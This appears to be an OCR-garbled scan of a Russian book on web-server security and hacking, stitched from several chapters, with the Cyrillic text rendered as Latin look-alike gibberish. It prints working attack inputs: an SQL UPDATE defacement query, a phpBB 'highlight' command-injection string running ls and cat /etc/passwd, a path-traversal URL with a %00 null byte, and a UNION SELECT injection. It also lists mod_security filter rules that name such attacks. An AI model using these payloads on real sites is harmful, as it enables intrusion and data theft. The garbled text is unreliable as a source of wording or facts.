6.2.3. OnacHble SQL-3anpocsl

Jlaxe He WMes Apas JOCTYNAa K BRIMOSHEHWIO KOMAHI, 3N0YMbILAEHHHK MOKETy
HaBpeanTh, Henobsya SQL-3anpockl. Kak Mb! yke BEIACHUIN P PACCMOTPEHUM
MySQL (cm. paso. 5.2), k CYB]I moxko otnpasasts SQL-3anpocsi Ha 06HOBNE
Hye u ynanenve. B cnyuae ¢ MS SQL Server Bce paccMoTperHoe ocTaeTcs B CHIes
pasBe 4TO OMEpaTOp UPDATE B 3TOM C/ly4ae ABAseTcA Gosiee MOLIHBIM W yHHBEp-'
CaANbHBIM.

Harpuwmep, aedeiic MOXHO COBEPUIKTL H C IOMOLLIO 3arpocos. HeoGXx0aumo ToAb-
KO Ha#TH TaGnuuy, 8 KoTOpoH XpaHATCA AaHHbIE, oToGpaxkaemble Ha riaBHol Web-
crpakkug, Hanpumep, HoBocTw. [Tocsie 3Toro ¢ NOMOLIBIO 3aNpoca UPDATE OGHOBIA-
€M HOBOCTH Tak, uToDbI NOCAEAHAA U3 HUX (MOKHO ¥ BCE) coaepxany HeoGxomu-
Mblit TexcT. Harpymep, ecni HOBOCTH XpaHaTes B TAGNMIE news, H 3aRQNOBOK HOBO-
CTH B KOIOHKE Title, TO XAKEP MOKET BRINOIHUTE CREAYIOUMH 3aNPOC:

UPDATE News

SET Title='Hacked by MegaHacker'
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Puc. 5.17. NonsiTka 06paTUTLEA K MOAYMHC OKA3aNACk YAAHHOA

Mel yxKe roBOPUAH O TOM, HTO HENB3A XAKEPY 4ABATH BOSMOXHOCTb 0GpallaTecs
K haiiny Hanpamylo (cm. pazo. 3.5). B JaHHOM cyuae MLl Y3HANH KO MOAYSA,
KOTOPLIH COASPKUT 3aNPOChl, O KOTOPHIM MOXHO TiPUMEPHO OfIPEAENTHTH CTPYK-
Typy 6a3bl ABHHBIX, HCTIONb3yEMBbIC TAGAULB! H T. A

Mpoananu3uposas Koj, £ HalleN elile Mapy MHTEPECHHIX MECT, KOTOPHIE MOXHO
ucnons3osath. Ecnu nporpaMMHCTsI He 3amaTaioT 5Ty Abipky (kak Beerda, A co-
ofmun um o6 ownbxe), To nonpobyiiTe NOCMOTPETH 3TOT MOAYND. [loBepxHOCT-
HbIA B3C/AM MOKA3A/l MHOTO HHTEPECHOTO U3 TOr0, UTO MBI YXKe PacCMaTPHBAIN
(em. 2. 3).

Jaxke ecnu NPOrpaMMUCTLI 3aNaTaloT 3Ty owubky, nonpoGyHTe NOHCKaTh YTO-TO
ewe. Mue Branensust Web-caiita He janu paspeiuenus Ha TecTuposanne Web-
cafiTa, NO3TOMY A HE CTaR MPOBEPATH APYTHE NAPAMETPLI, KOTOPbIE TAKKE MOTYT
GbITb YS3BHMBIMH.
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0 secFilter yyy log,exec:/home/apache/report-attack.pl — 3amyckabT
cuenapuit. Ecan ¢mnetp cpaGarbiBaer, To Gymer BBIIONHEH CLEHAPHI
/home/apache/report-attack.pl;

) SecFilter /etc/password — YCTAHABAKRAET 3aNPET HA WCMONLIOBAHHE
B 3anpoce nonb3osarens obpalietns k daiuty fetc/passwd. Takum xe obpaszom
HyHO l06aBKTE orpanuyenie Ha dalin /etc/shadow;

0 secFilter /bin/ls — OTKA3 TOAB3OBATENAM B OCPAlEHMH K AMPEKTHBAM.
B nasHOM ciyyae 3anpeltiaeTca KOMauaa s, KOTOPAH MOXET [O3BONHTL XaKe-
PY YBHAETb COJEPXKUMOE AUPEKTOPHH, EC/IH B CLUSHAPHH ecTh omnGka. Heob-
XOAMMO TNIPENOTBPATHTE OBPALIICHHA K TAKMM KOMAHIAM, KK cat, rw, cp, £tp H AP.;

0 secFilter °\.\./* — KIacCHuecKas aTaka, korna B URL ykaseisalorcs cum-
sonbl To4ek. HX He nomxHO TaM 6biTh;

£ secFilter “deletel(:space:]]+from" — 3ampeT TekcTa delete ... from,
KOTOpBIH uYawe Beero ucmonbsyerca B SQL-3anpocax ANS yAaleHUsS 1aHHBIX.
Takas CTpoKa oueHb HacTo MCronb3yercd B aTakax THra SQL-unbexuuu. Mo~
MUMO 3TOTO, PEKOMEHIIYETCH YCTAHOBHTE CIEAYIOLUME TPH (UABTPa:

¢ SecFilter "insert[{:space:]]+into” — HCMoMbsyerca 8 SQL-3anpocax
ana JIOGBMCHHH HAHHBIX;

® SecFilter "select.+from” — Mcronbayercs 8 SQL-3anpocax nng utenns
AAHHEIX U3 TaBAMUbI Ga3bl AaHHbIX;

* SecFilter *"<(.|\n)+>" M SecFilter "<[[:space:]]*script” — mo-
3BOAAIOT 3aMIMTUTECA OT XS8S-arak (Cross-Site Scripting, Mexcaifrosoe sbi-
NOAHEHHE CLUECHAPYER).

Mbl paccMOTPeTH OCHOBHEIE METOABI, HCNIO/Tb3OBAHHME KOTOPBIX MOXKET MOBBICHTh
6GesonacHocTs Bawero Web-cepsepa. Takum 06pasoM, MOKHO 3aRIMILATD AAXE
cety u3 Web-cepaepos.

5.4. HacTtpovika untepnperatopa PHP

B unrepnperatope PHP ecth BOSMOXKHOCTE OMMCHIBATH NPABMIA BLIONHEHUS
KaKHX-Tu60 NeACTBUHA, Heronb3ys Goaee GeaonacHbie HACTPOHKH W NpaBa HOCTY-
na, — 310 pexcum safe_mode. Ho Bl AomkHbr oTaaBaTh ceGe OTHET B TOM, 4TO
HEKOTOpbIE CUEHADHH MOTYT OTKA3aTLCs PaboTaTh B 3TOM pexuMe. Muorue aamu-
HACTPATOPLI B 3TOM Ciy4ae OTKIOHAIOT safe_mode. JTO HE COBCEM BepHO. Sl Bee-
TZ@a cHayana NpoBEPAlO, MOXHO 7 TIepenucaTh CLEHapuit Ansi paboThi B 3TOM pe-
JKMMe, H eCJTH 3TO HEBO3MOIKHO, TO TOLKO TOTHA BBIK/IIOAK0 He3011acHbI PEXUM.

ITpu nacrpoiike MHTepnperaTopa Bbi HO/AHBI AEHCTBOBATE U3 MONOMEHHA: 3a-
1IPCLUETIO BCe, YTO He paspeiteno. H3nauansso cNegyeT 3aKkphiTh BCE, HTO YXKIO
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Ha Moem somamineM koMmbioTepe, rae 8 ycTanoBun Web-cepsep na Gaze'OC
Linux, He yctanossen Perl, T. k. 5THM 2351KOM [POTPAMMUPOBAHHA & HOMBIYIOCH
penko. TosToMy ANA TECTHDORAHHA NPUMEPOB W3 ITOH MN&BbI 5 HCIIOIB30BAN
ANOWIAAKY XOCTHHIOBOH KOMIaH)K, A pactonoxken Mol Web-calit. HecTHo cka-
3aTh, BO BpeMA UCCICAOBAHNA A MpHLUEN K OYeHb OKHPYIOIUM BBIBOARM, HO 06
ITOM HYTh MO3NKE.

Hrtak, nocsie 3arpyski GOpMbl MEpe/l HAMH OTKPBIBAETCA NIONE ANA BBOAA MMEHH
¢aiina ¥ kHonka Ans ornpakd AanHeiX Web-cepeepy. Koueuno, aToT cucHapuii
CHIILHO YNPOUIEH W B PEANBHOCTH Bbl TAKOTO HE BCTpeTHTE, 06bINHO MMa (aiina
NOMyHaloT KaKUM-THG0 ApyruM ofpasom. Harpumep, oo MoXeT 6bITh NPONUCAHO
8 Buae napamerpa B HTML-kone Web-cTpaHMupl, HO BEb Mbi 3HAEM, UTO 3TO
Tawke He GesomacHo U Xakep MoxeT seiasath URL sanpsaMyio, Yepes aapecHyio
cTpoxy Gpaysepa, M WIMEHUTH TTapaMeTp. Sl K¢ AN NPOCTOTH HIMOCTPALMA Me-
nonb3yto GopMy BROAE.

Hrak, ecnu uMa ¢aiina n07L30BATEND YKOKET KOPPEKTHO, KAK 3aiyMbIBan mpo-
TPaMMHUCT, TO CueHapHit Gyler paGoraTs MPABHALHO W HAKAKMX TpoGneM TyT He
posHukuer. Ho XaKepu HAKOraa ne pB6OTBK7|‘, Kak npoonopﬂno-mme TIOAB30BA-
Tenn. OHU AtoGAT UrpaTh ¢ NApPaMETPaMU M B JAHHOM CITY4ac, YKE 110 610 UMEHH,
nepefasacMoMy Web-cepsepy (file), MoxkHo noramatbes, 4to uper obpaimenue
K (altnoBoil cucTeme.

A uTo ecnu mepenaTh B KauecTee MMenn daitna Jetc/passwd? Koweuno xe, Mbr
YBHIUM (akis, coaepKamMA CIHCOK MONB30BATENEH H HX OCHOBHBIE KOH(UFYpA-
uMoHHbiE Aaunbie. TO Xe camoe NPOUCXOHMIO U Apy ObpalieHun k dalinam us
PHP-cuenapues. [Ipy obpatueHuy K Qafinam Bbl MOXETE TAKOKE UCMONBIOBATH
CHMBOAE! "../" AN TOTO, YTOGK! TIOAHATECA HA YPOBEHD BHILUE, H Hy/ieBON CHMBON
“%00", uTo6B OTOPOCHTB TEKCTOBYIO YacTh, KOTOpas A0BABNZETCS MPOrPAMMHO.
Hanpumep, ecnk B kauecTBe NapaMetpa MepefaeTcs TONbKO MMA, B paciuupeHHe
ApUGABAAETCA K MMEHW TIPOTPAMMHO, TO AOCTATOWHO BEINONHWTL CNeAyIOUHHA
URL, 40681 0TGPOCHT IPOrpaMMHO N0GaBISEMBI TEKCT:

http://servername/cgi-bin/test.cgi’file=/etc/passwa %00.

Bot TyT caenato HeGoNBINOE OTCTYN/IEHUE W TIOXKanyioch. Jleno B TOM, 4TO & OT-
KPLITOM MHOli ¢aitne /etc/passwd HaXOMMTCA COMCOK M3 MHOXKECTBA 3amHCeH,
¥ BCE OHM COOTBETCTBYIOT PeabibiM NonbiosaTenam Web-cepsepa MoeH XOCTHHs
TOBOM KOMNAHWW. 3TO 3HAYUT, 4TO HA 37OM Web-cepBepe HAXONMTCA MHOKECTBO
Web-caifToR, KOTOpbIE MCTIONL3YIOT OLHO OKPYseHWe. 3T0 He oueHb Xopowo, Ha-
MHOFO sddexTHBHEE GbUI0 OBl NOMECTUTL KAKRBIA W3 HUX B OTACNBHYIO Cpeay
chroot, 4ToGbI OHM He MOrM A>ke BUmeTh Apyr Apyra. Mlanmoe ynywenve —
GoALHIOH MENYC MOEH XOCTHHIOBOH KOMNaHHK,
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IMpocTo otkpoitte Mx B BnokkoTe B moGol apyroi nporpamMme NpocMoTpa Tek-
croBeix datinos. B pesynbrare bl yBuanre:

acho 7/top

acho 7/udp

dimcard 9/tep wink null

discard  $/udp wink null

systat  1l/tcp  umers #Active usexrs
systat 11/tep users #Active usexs
daytime 13/tep

daytime  13/udp

qotd 17/top  quote #Quote of tha day
qotd 17/udp quots #Quote of the day

Gaiin umeeT creayrOy0 CTPYKTYpY:

<cnymGa> <HOMEP NOPTa>/<NPoTOKOA> [NceBAOHHMD! [#<xommenTapuii>]

Ho He 326biB2iiTe, 4TO 3T TONBKO ONMCaHHE CTAHZAPTA, KOTOPbIA NETKO HapyUIUTb.
AnmuHucTparop Ge3 npobnem moxet samycTute Web-cepsep He Ha 80-m nopry, -
a Ha 21-m, ¥ ckaHep NOPTOB HanHwIeT Ham, 4To 310 FTP-cepeep.

OcraHoBiTeCh B NocMoTpHTe Celjuac hatin services. 3nech onucaHel HauGonee
PacnpoCTpaHeHHbIe HA AaHHbIH MOMEHT CITYXGbl H NOPTHI, HA KOTOPBIX OHM paGo-
TatoT. Ec/iu BB €lIE He 3HAKOMbI C ITHMHM HOMEPaMH, TO CAEAYET XOTH Gbl 4TO-TO
3 3TOTC OCTABHTL B NI2MATH, 4TODE 3HATh MOTOM, YTO HCKATH H2 aTaKyeMO# CHC-
Teme. A pekoMeHAYI0 06paTUTh BHUMAHHE W 32N0MHMTB, YTO Ha Toprax 1433 u
1434 nporokonos TCP #n UDP paGoraer Microsoft SQL Server u Microsoft SQL
Monitor. Ha nopry 1512 paGotator WINS (Microsoft Windows Internet Name
Service, cayxba umeH Hureprera s cerell Windows), koTopas sianeko He Ges
u3baHa. A seck aiin npusoauTs He Gyay, noToMy uTo oH Gonbuioi, a Bul W Ges
MeHs CMOXeTe B 060l MOMENT ero mocMoTpeTs,

Ho cyuiecTsylOT nporpaMMmBl, KOTOpble HE A0BEPAIOT CTRHAPTY ¥ MPOBEPAIOT NO-
J4eHHYI0 HHBOPMALHIO CaMOCTOATENbHO. K TakHM nporpaMManm OTHOCHTCH Cka-
Hep GezonacHoctu XSpider (www.ptsecurity.ru), KoTopbii o NOTy4aeMbIM OT-
BETAM MLITAETCA ONPEAeNHTh, NEHCTBATENLHO 1 Ha 80-M nopty Haxoautcs Web-
cepBep, UMK TaM uTo-To Apyroe. Kak 310 onpenennts? Ja ouenb nerko:

O no CTPOKE MPMBETCTBHA, KOTOP2A BO3BPALMAETCH NpPH MOAKNIOUEHWH K MOPTY.
Bonblas yacTs cmyx6 npu NOAKITIONEHMH BO3BPALIAIOT cOOBLIEHHE, KOTOpoE
COAEPHKMT €€ HasBaHue U BepcHio. [1o3ke Mbi elte GyaeM FOBOPHTE © TOM, HTO
3TC CDOélueHMe MOXeET GbiTh noAAeNaHo,

3 chyxGel B OTBET Ha NOMICTIOYEHHA TIPHCHUTAIOT pasHble NakeTbl. B nporpamme
XSpider aocTaTouHO X0polas 6a3a AaHHBIX MOBEACHHA Pa3NUYHBIX CyXE.
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peTh cooGuleHne npu BXOAe B cHcTemy. [To ymonuanmio B kavecTee npuriawe-
HHA HCTIOAb3yeTea Hasnkch Tuna: "Jo6po noxanosath Ha cepsep FreeBSD4.0,
sepcs FTP-wmenra X.XXX". Ecnu BBl Takoe yBuzel, TO €l1e PaHO pano-
BAThCA, T. K. HE H3BECTHO, MPABJa 3TO WIM HET. ECM HaZANWCh NPUrAalIeHU
OTpaxacT NeHCTBHYENbHOCT, TO AAMHHUCTPATOp — "YalHHK' CO CTaKeM.
OnbITHLH AAMMHHUCTPATOp BCETAA MIMEHAET NpHUITAUICHWE, 3aJIAHHOE HO
ymonuaHmio. Toraa Ha cepeepe ¢ Windows NT 4.0 nossuTcs npurialesve,
Hanpumep, Linux. B atoM cimyuae anoymbilnenHux GesycnewHo notpatdt
O4eHL MHOTO BpeMeHH B nonuiTkax e3nomats Windows NT, neitasch Hcnonb-
30Bath oGk Linux. [loaTomy He oueHb AoBepAiiTe HARNHCAM W CTapaiiTeck
MX NEPenpoBEPHTL APYrHMH CNOCOBaMH.

3. Coumaabuan mikxenepusi. Ecin Bbl XOTHTE B3OMATL CEpBEP XOCTHUHIOBOH
KOMNaHHWY, TO MOXKHO OGpZITHTbCiI € NHUCbMEHHBIM 32MNPOoCOM o6 YCTaHOBNIEH-
HBIX ¥ Hee cepeepaX B cyxGy noasepxxy. Kak npasuno, Takas HHGOpMALMA
He CKpbIBAeTCA, HO GbIBAIOT Ciryuan OTKpPOBEHHOMH /xH. BosmokHo, w0 3tH
ceeieHna GynyT nexaTh Ha rnasHoil Web-cTpanmue, HO Jake HX CledyeT npo-
Beputhb, Hanpumep, wekoropble xoMnaHus nuuryt Ha Web-caifre, 4To Y HuX
HCNONb3YeTCA TIOCAEAHAs M caman GesonacHas sepcHs OC FreeBSD, vo npn
NIEPBOM XKe OCMOTPE OKasBIBAETCH, UTO Ha cepiepe cTouT Windows 2000, Bos-
MOXHO, KOMNaHHK NpocTo ckpbiatoT Bepcuio OC s Toro, uToGbl CKPbITh
HCNOIb3IOBAHHE HEMHLEHIWOHHOIO fporpaMMHOTO ofecneuerius.

UroGbt Bac e oGManynm, o6asaesnibHo oGpawiaite BHUMaHKe Ha MCONb3yeMble Ha
cepsepe Ciyx6bl, HanpuMep, B Linux He GyayT pabotats Web-crpaHntibl, co3gaHHbIe
0o TexHonoruid ASP. Takve BeWlM MOANEMBIBAIOT PEAKO, XOTA 3TO W BOMONKHO —
JIOCTATO4HO KCTIONB30BATH paciMpeHye .asp ans XpanenHa PHP-cuenapues u nepe-
HanpasnsTh WX uurepnperaropy PHP. Takkm o6pasom, Xakep yBHIHT, 4TO Ha cepaepe
paGoTaior dajinel ASP, Ho peankro 310 BynyT PHP-cuenapuu. Xots, 5 casiwan, yto
€CTb BOIMOXKHOCTb 3anyckaTs ASP-cueHaphu Ha Linux.

1.3.2. OnpegeneHune umeH paboTatowmx cnyx6

Onpegenerne Tana OC — 3To Tonbko HauaneHui aTan. Iocne 3Toro HeoGxoam-
MO MEPEXOAHTb K ONPEENEHHIO UMEH CliyxB, KoTopeie paGoTatoT Ha cepeepe. Ec-
N1 oTkpeIT 80-it NOPT, TO HEOGXOAMMO y3HATB, kakoii ycTaHoslien Web-cepeep:
Apache unn IIS. OT nenonsayemoii ciyx6bi U ee BEPCHH 3aBUCHT, Kak ee Hasio
B371aMbiBaTh. Hanpumep, HekoTopeie BepcHn onpenenenHbix caywG MoryT conep-
KaTh OiHY OWHEKY, a APyrHe BepcHU Apyrylo owubky. A GbIBZIOT Aaxe Cryyan,
Korza ourHbok BooGite Her. XOTa HeT, TakHX ciydaes He Ghibaet. Ounbu Beera
€CTh, TIPOCTO WX €llle HUKTO HE HALIEN W HYKHO NOUCKHTS, WITH NOJIOKAATh, KOI/A
11alzyT Apyrure.
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Puc. 3.6. PasynaTat BLINGMIHEHWS KOMBHAM! 15

JlaraitTe Tenepb NOCMOTPHM, 4TO Xe Mbi aoGasuan k crpoke URL? Mbi nofasinn
napameTp highlight, KOTOPOMY MPUCROMIM CEUWATHHLIM OGpPa3oM chOpMUPOBAH-
HYIO CTpoky. CaMoe UHTepeCHOR XPAHHTCA MeXIy ABYMA cuMeotamu %2527, 3nech
I|CPCMCHHOVI ¥poster TIPHCBAHBACTCA WMA KOMaHAb!, KOTOPYIKD Mbl XOTHM BBINON-
HWTb Ha yAaNeHHOH cheTeme, 3Ta MepeMeHHan UCNO/b3YETCA CLICHApHEM 1A OTo-
GpakeHHa MEHs NONbIOBATEN, KOTOPLIN OCTABMA cooBlieHye. Mbl e NpucBaHpa-
¢M eft pesynbTaT BLINONHEHHA CBOEH Komanabl. Komanay HeoGX0aMMO NnocTaruh
110C/IE 3HAKA PABEHCTBA W 3AKMNOYMTH €€ Mexcly CuMBonamu %60. B nauem ciiyuae
)T0 KOMAHAA 1s, KOTOPas 0TOOPAKAET COAEPKUMOE TekyLUeH AMPEKTOPHH.

Mbi MOXeM Heronk308aTh i apyrue komarasl OC UNIX. Hanpumep, MOXHO npocMoT-
peTs comepumoe aina nonbsosarench. Jing 3roro 8 ctpoky URL sioGamisiem cio-
Jyrouwh Teker: " &highlight=%2527.$poster=%600cat %09/ctc/pusswdH o0, %2527 *,
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<HTML>
<HEAD> </HEAD>
<BODY>

<form action="param.php” method="get">
Vaast noJib3CEATENIA: <input name="UserName">

</ form>

<?php
if (§UserName<>**}

{

print (*<P>Balle WMA NOML3OBATENA

print (*$UserName* ) ;
}

2>

< /BODY>

<HTML>

Ecnu 3arpysuts 3Ty popmy B 6paysepe, To nepeMensas $userName Gyner nyctoit,
[OTOMY ¥TO ¢liie He GbINO NEpENatM NapaMeTPOB, W MHTEPNPETATOP HUHCTO HE
cosgasan. EcyiM BBecTH uMA noabsosatens W nakaTh <Enter>, To comepxumoe
opmbt GyaeT nepesarpyxeHo, HO Tereph NepeMeHHas $UserName Oyner comep-
KaTh BREACHHOE NOMb30BaTeeM UMA. Takum 06pasoM, MOXHO cienaTh ApoBepKy,
€C/M epeMenHan He MycTas, To $opma IoyHHuia napaMerp  MOXHO ero ofpaba-
ThiBaTh. B HalleM npuMepe MBI NPOCTO BLIBOAMM HA IKPAH BEEACHHOE HMS.

C momonpio $HopM MONKHO NIEpeNaBaTh H CKPbIThIE NapameTpel. Hanpumep, nomu-,
MO HMEHU TIONb30BATEIS Bbi XOTHTE MIEPSABATH €llle KaKoe-TO 3HAYEHHE, KOTOPO®
He AOMKHO GbITh BUAHO B dopme. [Ina 3TOro BbI MOXKETE 3aXOTETh COIAATH HERH-
auMoe nosie Bsoga. Hanpumep, B cnenyrowei dopMe ecTb jBa mona BROAA:
UserName U Password, HO BTOPOE none He 6yaeT BUAMMO, ITOTOMY 4TO Y NOAA yka-
3aH napaMeTp type (THM), KOTOPOMY NPUCBOGHO 3HAUEHNE hidden (HEBMAUMBIH):

param.php" method="get">

"UserName">

"hidden" name="Password” value="qwerty">

<input type=

</ form>
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H HEHYXHO. A 1OTOM BKITIOYATH HWGXOAHMHe BALLUWM CUSHAPHAM OTILHH. J'Iyqu.le
BCETO, €CNIH BbI Gynm 38HHAMAaTbCA KDH¢HWPHPOBBHH9M HE TONBKO paGowero
Web-cepaepa, Ho 1 Web-cepaepa, KOTOPBIH HCTIONB3YIOT TPOrPAMMUCTEL JUTH pas-
paBoTKH W OTAAAKK CBOMX CleHapHes. B 310M ciyuae MOXHO GyReT KOHTPOMKpO-
BATH BCE YCTAHOR/ICHHBIE TApaMeTpbl.

JleHcTsHe anMUHUCTPATOPA JO/UKHLI GBITE TECHO CBA3AHE! C paGoToi MporpaMMUcTa
cuenapues. Ecau paspaboTuuky HykHbl KAKHE-TO OMLHH, TO HMEHHO Bbl SOKHE!
HX BKKO4aTh Ha oGoux Web-cepepax. O mo6bIX KOPPEKTHPOBKAX, BICKYLIHX 38
cooli ymenbiuenue (yReNHuenue) npas nocTyna, pa3spaGoTHHK NOMKEH BaM CO-
0B1aTh, U HACTPOIKK AOMKHB! GBITh HIMEHEH!,

AAMMHUCTDATOP ¥ pa3pabOTUMK HOMKHLI HAXOAKTECA B MOCTOSHHOM KOHTAKTe,
4TOBb ONEPATHEHO PEArHpOBATH HA HEOGXOAMMOCTh MCTIONBIOBAHUA KAKWX-NTHEO
DOTONHATENbHBIX BosMoXkHocTeH. HekoTopbie anMunucTpaTopsl u3basnaiorcs ot
0643aHHOCTH HACTPOMKK HHTEPNPETATOPOB K MEPEROAST 3Ty GYHKUMIO Ha paspa-
G0TUMKOR, DTO HE COBCEM NPABMALHO, TOTOMY YTO NMPOTPAMMHUCT THILET KOK U He
BCeraa JOCTATOMHO XOPOINO pasfupaeTcs B BOMPOCEX KOHQHIypauwH, ‘lTOGbl
obecnieunTs Tpebyembiii yporeus GeaonacHocTH.

Bce HacTpoiiku ana Hutepnperaropa PHP xpaustcs 8 daiine /etc/php.ini. Caman
raBHAs AUPEKTHBA, KOTOPYIO CEAYeT PacCMOTPeTh, — safe_mode (MO yMosnya-
HUIO 3HA4YEHWE AWPEKTHBBI PaBHO off). OHA NEPEBOAMT UHTEPNPETATOP B AU~
LLEHHBIH PEXAM, TIPK KOTOPOM BCE TIOTEHLMANLHO OMACHBIE OTIEPALUM U BYHKLHH
3anpeweHel. Kcrna BbI HaYyHHACTE pﬂlpﬂGBTHBKTI: cueﬂapuﬁ, JKEeAaTEeNbHO BKITIO~
Y4Tb 3Ty OMUHKD. Ecin Bbi CTOAKHYUCH C curyauueﬁ, Koraa HeOGXO)JHMaH BO3-,
MOXHOCTb HHTEPNIPETATOpPa HE paﬁmae'r, TO MOXHO OTKIKOYATL AWPCKTHUBY'
safe_mode, HO MPH 3TOM CAeayeT Gonbllle BHAMAHUSA YACAATh GesonacHoCTH H
(DYHKUHSAM, KOTOPBIE He CMOTJTH PaGoTaTh B 3ALUMUICHHOM PEXHME.

Ecnu Baw cienapuii paGoTaeT B 3alUHLUCHHOM PeKHME, TO 3TO 3HAUUT, YTO HUYE~
rO OMACHOrO B HeM He KCMOMB3YETCH, M BCPOATHOCTL OGHApYKEHHA yA3BMMOCTH
yMeHbIaeTC YKe caMa 1o cefe, HaKe ec/li PeXUM safe_mode HE BRIIOHEH.

[Mpu paboTe B 3aIULIEHHOM PEXUME PACCMOTPHTE CAEAYIOWAE TUPEKTHBbI, KOTO=
Pbie MOTYT NOHHU3UTL GC’JO"BCHOCI"E, Be3 oTkNIOHEHNS JAWPEKTHBbI safe_mode:

) safe_mode_gid — 3Ta NUPEKTHBA 320a€T MAEHTH(UKATOP BradensUa HAK
Fpyrinbl Blaaensues daina KOmKeH COOTBETCTBOBATE WICHTH(HKATOPY MOMb-
joBatens (WM Tpynner), OTKpuiBiero ¢aitn. Ecau switouesa aupextusa
safe_mode, a safe_mode_gid HE BK/IOYEHA, TO MPaBHIA JOCTYNa CTAHORATCA
Gonee kecTkUMY — (aiin MoxeT GLITL OTKPLIT, TONLKO €CHH MIEHTHDUKATOD
Bragensua Gaiina cosnagaer ¢ naenTudUkaTopom nosbsosatens. MacuTudu-
KaTOpLI FPYNIel BaleblUeB (alina u NOAL30BATENN B ITOM CAY4ac HE Npose~
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ownbox u Hactpour Web<cepeep Tak, 4To6H Xxakep HE CMOT MOYHHTH AOCTYII
K BaXKHBIM (aiiiaM B clyuae HaXoxaeHus omHGKA 0 GYACT DOCTOAHHO CACAKTS 32
Ge30nMacHOCTEIO.

Sl WajelCh, YTO % CMOT MOKA3ATh OCHOBHBIE MpPobneMbl GesomacHocTH Web-
cafiTos, ¥ BBI YBU/IENH, OTKYAA MOXHO XaTh HenpuatHocTelt. Ho nanweiit o6zop
npoGnem 6e30I1aCHOCTH He MOXKET OXBaTHTb aGCONIOTHO BCIO 3Ty Temy. Xopowuii
XaKep — npohecCHOHAN B POrPaMMUPOBAHUMH M aaAMUHUCTPUpoBanKH. Ero sHa-
HAA TIOMOFAlOT eMy McKaTh ownGkn B 00paGoTke mapameTpoB CueHapueM WM
OWINGKY JJOTHKH €70 BBINOMHEHMS.

Yro moxeo mocosetosath aM ewme? Utober saw Web-caiiT 6o Gesonacuee, ne-
06XOHUMO YWTATE M H3Y4aTh Kak MOXHO Gonuie. HeT Tako# ueCTpyKuMu wan
KHUI'H, I0C/E TPOYTEHHA KOTOPOH MOXKHO GyJNET CKasaTh, YTO TENeph BB CMOXETe
HACTPOHTL MW 3aNPOrpPaAMMHUpPOBATE CaMbulit Gesomacukiii Web-ceprep. Kaxk xaxe-
POM, TaK ¥ NIPOrPAMMIHCTOM HE POXIAIOTCH, MMM CTAHOBATCH, & AUTA 5TOT0 HEOG-
XO[MMO MUTATh M H3Y4aTh, 4 FiaBHOe — MpoGoBaTh ¥ He GoATbes owwKbaTLCA.

Ecnu y Bac BOZHMIUIM BOMPOCH!, MPETOKEHHA UAY Bbl HAWLAK OWMOKY B AaHHOH
paboTe, TO 5 BCer/ia roToB OTBETUTE Ha opyMe caiita hitp://www.vr-online.ru
WIH 10 3NeKTpoHHO# nouTe horrific @vr-online.ru.
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HUA Ha HEM HECKOMBKO KoMaKz, UroGbt He ofiwkaTs rianesbues, v Web-caitra 13-
MEHEHO, a Ha CHUMKax M106an HHPOPMALHS, KOTOPas MOKET YKasaTh Ha BIAIC/bLA,
3axpaitera. Byaem nogpasymerats, 4ro agpec Web-cepsepa sitename.domain,

Puc. 3.4, BanomanHbiit hopym

Hrak, uTo6bl BOCTONBLIOBATLCR YAIBHMOCTRIO, HEOGXOMMMO OTKPLITE (OPYM Ha
Web-cTpakuue npocMoTpa noboro ronuka. B crpoke URL se1 gomxHel yeunets
4T0-T0 Moxoskee Ha http://sitename.domain/phpBB2/viewtopic.php?t=7.
Tenepe, 4ToBbl Y3HATb, €CTh JIM YA3BUMOCTE Ha Web-calite, noctatouno noSasHTh
K 37Ol cTpoKe cneayrowmit TexeT: "&highlight=%2527 $poster=%601s%60.%2527".
Ecny yaseumocTs ecTs Ha Web-caliTe, To 3arpyzutca Web-ctpanuua, B kotopoH
BMCCTO aBTOpa B Kostonke Author GymeT kpacosatses cnucok ¢aiinos B gaHsoH
JMPEKTOPUH, B MOEM CNyuae OKHO NONYYHAO BHJ, KaK NMOKa3aHO Ha puc. 3.5.
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U3 pesynkTara, MOMYHeHHOTo i3 6aasl aHnsX. Yto6n yGeaHTECA B 3TOM, 4 BCTPOMN
cneayrownil SQL-3anpoc:

UNION SELECT 1111,2222,3333,4444

SQL-32npoc, KOTOpHIH BHINOMHAET cUeHApuit k 6a3e NaHHBIX, BOBPALIAET OJHy
cTaThio, kotopas M otofpaxaerca. Moit aoGasounsiii SQL-sanpoc noGasnser
K PE3YNETATY €lie ONHY CTPOKY, KOTOpYIO CLeHapui npocTo HrHopupyer. Kak xe
MHE YBUAETL HYxHbI pesynstar? Hy:xuo, yroGel nepenit SQL-3anpoc, mponu-
CRHHBIA B CLEHAPHH, HHYErO He BEPHYN. JU1s ITOro AOCTATOYHO Hepe3 Napamerp
id NEpeAaTh HOMEp HEeCYUICCTBYIOLIEH CTaTbH, HanprMep, 99991053, 3to uHono
oueHb Gonbllioe H 3 YBEPEH, HTO CTAThH ¢ TakuM HOMEpoM He Oyaer. Teneps mep-
oI SQL-3anpoc HHYETO He BEPHET, U CLEHapHH BLIBEAET HYXKHEIR MHE pe3y/ILTaT
(pHc. 5.6). TIpaMoyronbHEKamit A BeiAcnHT 06NACTH, KyAa NONATy YHCIa U3 MOero
SQL-3anpoca.

i

R

S

Puc. 5.6. Teneps clieHapwil 0ToBpaxaeT pesynbTaT sHeapentoro SQL-aanpoos
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Hmento neaToMy IP-B.ElpeCB, HCnoNb3yeMble CHCTEMAMHK 'OIOCOBAHUA TONBKC AUTA
OMpeNeneHna HCTOUHNKA HaKpYTKH, XpanaTcs B Gase nemonro. Uepes onpenenen-
HOC BpeMA BbI Gea mpoGnem cMoxeTe mporonocosats ¢ Toro xe [P-agpeca. [na
)JIOJII‘OBpeMeHHOﬁ u)lemudmxauuu MPOroNoCoBaBLUMX HALE BCEro HCNONb3YIOTCA
umerHo Cookies, KOTODbIE HYXHO PEryiapHO YAanaTh, 8 C/IW 3HATH HX CONEPIKA-
Moe€, TO 1OCTaTOMHO IPOCTO PeJaKTHPOBATE.

Ecrm [P-azpec 670kHpyeTc TOMLKO Ha KOPOTKWH MPOMEKYTOK BPEMEHH, TO Ha-
KPYTKA CTAHOBUTCA HE TaKMM YXK U CJIOKHBIM 3aHATHEM. ID'DI 3TOTO OOCTATOYHO
Bblspﬂ'l‘b cBo# BapyaHT OTBETa H HaXKaTk KHONKY OTIIPaBKHU. l'lepen HaMK OTKpoer-
¢ Web-cTpaunua, KoTopas NoMyHacT, B BOSMOXKHO, WTO Cpasy oToGpaacT noay-
